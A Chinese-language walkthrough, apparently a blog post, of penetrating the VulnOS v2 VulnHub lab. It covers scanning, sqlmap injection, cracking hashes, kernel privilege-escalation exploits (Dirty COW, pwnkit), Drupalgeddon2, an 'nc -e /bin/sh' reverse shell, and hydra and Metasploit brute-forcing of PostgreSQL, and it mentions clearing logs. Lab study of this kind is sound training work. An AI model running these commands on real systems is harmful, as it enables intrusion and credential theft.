Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十四:VulOsv2(CMS利用,工控文件发掘)
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月16日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、使用步骤
ifconfig
nmap -sP 192.168.247.0/24
nmap -sS -sV -A -T5 192.168.247.143
发现了一些服务,开放了22端口,开放了80,,开放了6677,并且6677有一个服务,搜索了一下,存在问题,我们先放着,也获取到了linux的内核版本,本地kali搜索一下,发现存在cpp的可编译文件,并且知道了可以提权,那么也就是说我们现在的思路如下:
一、获取shell
思路分析
1.通过那个6677开放的端口,存在的漏洞,看看利用条件,能不能让我们拿shell,如果可以,那么内核提权也直接跟上走了
2.通过web页面,看看是否存在cms,我们登录进后台,看看是否能拿到ssh的登录,然后就可以直接提权
3.web页面漏洞扫描会不会存在一些漏洞呢?
思路1
searchsploit ngircd
kali搜索了一下也是存在的,但是呢,一会再说,因为这些都是要编译的,估计是提权用的,我们先拿shell
思路2
访问页面,这些都点了,看看有啥信息
?????这是个什么奇怪的公司。。
实锤了,卖充气娃娃的,这是个日本网站
最后一个地方进去没看到东西,这里我这个手法是不对的,我只是习惯性的都划出来,有个底色好看,没想到就看到了字
正规方法:
- 查看页面源代码
- curl 【url】 ----这个使用就不多说了
呕吼,获取到了一个新的目录,只需要用访客登陆的话那就随便一个账号就行
注册一个账号,看看有啥,有好几个照片,下载下来备用,进行隐写信息的查看
strings 图片名
发现了CMS,搜索一下
searchsploit OpenDonMan 1.2.7
locate php/webapps/32-75.txt
cp /usr/share/exploitdb/exploits/php/webapps/32075.txt .
cat /usr/share/exploitdb/exploits/php/webapps/32075.txt .
翻译一下,存在sql注入,按照这个翻译提示的,用sql跑一下吧
爆数据库
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3
爆表
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables
爆字段
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --columns
爆字段内容
sqlmap -u "http://192.168.247.143/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --level=5 --risk=3 -D jabcd0cs --tables -T odm_user --dump
得到了几个md5值,拿去网站解密一下
https://hashkiller.co.uk/md5-decrypter.aspx
https://www.somd5.com/
得到如下结果
webmin
webmin1980
思路3
用 AWVS扫一下,看看有啥
总结一下得到的目录
http://10.211.55.42/jabcd0cs/signup.php
http://10.211.55.42/jabcd0cs/forgot_password.php
http://10.211.55.42/jabcd0cs/index.php
http://10.211.55.42/jabc/includes/database/database.inc
Drupal 远程代码执行 (SA-CORE-2018-002)
http://10.211.55.42/jabc/
二、提权
拿着刚才获取到的账号密码登录ssh
1.内网环境探测
ssh webmin@192.168.247.142
本地开启python http服务
python3 -m http.server 8081
靶机下载kali上的文件
wget http://192.168.247.129:8081/linpeas.sh
把linpeas.sh ;les.sh;LinEnum.都传上去
chmod +x linpeas.sh
./ linpeas.sh
(其他两个.sh文件也按照这个先赋权再执行的方式)
linpeas.sh好用一点,但不一定全,可以结合着用,就会好很多,提权主要看
mysql有没有root
系统内核
sudo版本
用户信息
本地开启的,外网没扫到的端口
这几个最常见,所以要重点查找关注
反正,linpeas.sh所有标红以上的都看看
2.exp利用
这个是les.sh的结果,返回的时候可利用的EXP,看到了脏牛,首选脏牛,因为它具有非常高的稳定性
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp
python http服务开启过了
wget http://192.168.247.143:8081/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o rong 40847.cpp -lutil
chmod +x rong2
./rong2
ssh root@192.168.247.143
密码是:dirtyCowFun
也可以用下面这个,实测也可以,exp编号谷歌一下就有用法
wget http://192.168.247.143:8081/cve-2021-4034-poc.c
gcc cve-2021-4034-poc.c -o rong1
chmod +x rong1
./rong1
也可以用这个内核提权
searchsploit linux 3.13.0
linux/local/37292.c
linux/local/37293.txt
cp /usr/share/exploitdb/exploits/linux/local/37292.c .
wget http://192.168.247.143:8081/37292.c
gcc 37292.c -o rong
chmod +x rong
./rong
获得root权限
3.AWVS结果利用
AWVS扫出来三个跨站利用,一个Drupal 远程代码执行(CVE-2018-7600),一个配置源码泄露(linpeas.sh也扫出来了,看了一下没啥大用,就放了)
1.Drupal 远程代码执行(CVE-2018-7600)
下载好
wget https://github.com/dreadlocked/Drupalgeddon2/blob/master/drupalgeddon2.rb
kali执行
./drupalgeddon2.rb http://192.168.247.143/jabc
如果报错
sudo gem install highline
反弹个端口用
nc -vlp 7777
nc -e /bin/sh 10.211.55.19 7777
python -c 'import pty; pty.spawn("/bin/bash")'
3.3D建模利用
我们在刚才那个webmin的用户下面发现了一个如下文件
post.tar.gz
靶机开启python http服务:
python3 ---检测有没有python,有的话进入到解释器直接exit()退出即可
python3 -m http.server 8080
kali下载靶场文件
wget httpp://192.168.247.143:8080/post.tar.gz
tar -zxvf post.tar.gz ---解压
解压开里面都是hydra源码!
这就是赤裸裸的暗示,那就是要爆破咯,可是爆破谁呢
这个时候如果你足够敏感,在我们内网第一次信息收集的时候你就可以看到在mysql下面同样存在一个postgresql的服务,开启的5432端口,当然,你也可以现在就在靶机的shell里测试一下
netstat -ntulp
postgresql:5432 开启着!
但是我们同时也发现,这个服务器只对本地开放,而我们如果要爆破,在靶场里面动静是在太大,而且没工具,shell也不太好用,这个时候,就应该要想到,ssh端口转发
ssh端口转发:
ssh webmin@10.211.55.42 -L 5432:localhost:5432 ---ssh端口转发
----L就是转发的功能,可以ssh -h查看一下帮助
这时候本地就开启了5432端口
nmap 127.0.0.1查看一下
那么接下来我们就可以在kali上对着我们自己的5432端口操作了,动静稍微小点
1.hydra爆破
hydra
/usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt
hydra -L /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -P /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -s 5432 127.0.0.1 postgres -vvv
[5432][postgres] host: 127.0.0.1 login: postgres password: postgres
2.MSF爆破
MSF
search postgres
msfconsole
use auxiliary/scanner/postgres/postgres_login
set RHOSTS 127.0.0.1
[+] 127.0.0.1:5432 - Login Successful: postgres:postgres@template1
爆破出来了数据库的账号密码,就应该去登陆对吧
我们用 su
登录,发现不能执行命令,这里就要用个小工具,把全库内容下载下来了
pg_dumpall用来提取我们可以访问的所有数据库:
PGPASSWORD="postgres" pg_dumpall -U postgres -h localhost -p 5432
发现账号密码:
vulnosadmin
c4nuh4ckm3tw1c3
ssh vulnosadmin@192.168.247.143
c4nuh4ckm3tw1c3
进来后ls发现目录存在:r00t.blend
然后ssh登陆进来,发现一个.blend文件,这个是3D建模的文件
这里还是,靶场开启python3网络服务
然后kali下载,往上翻翻,一模一样,文件名换了就行
网上随便下一个3D建模的工具然后打开这个文件
是这样一个东西
然后我就把左侧工具栏的那几个东西一顿用,我也不知道怎么就出来了
ssh root@10.211.55.42
ab12fg//drg
登录root用户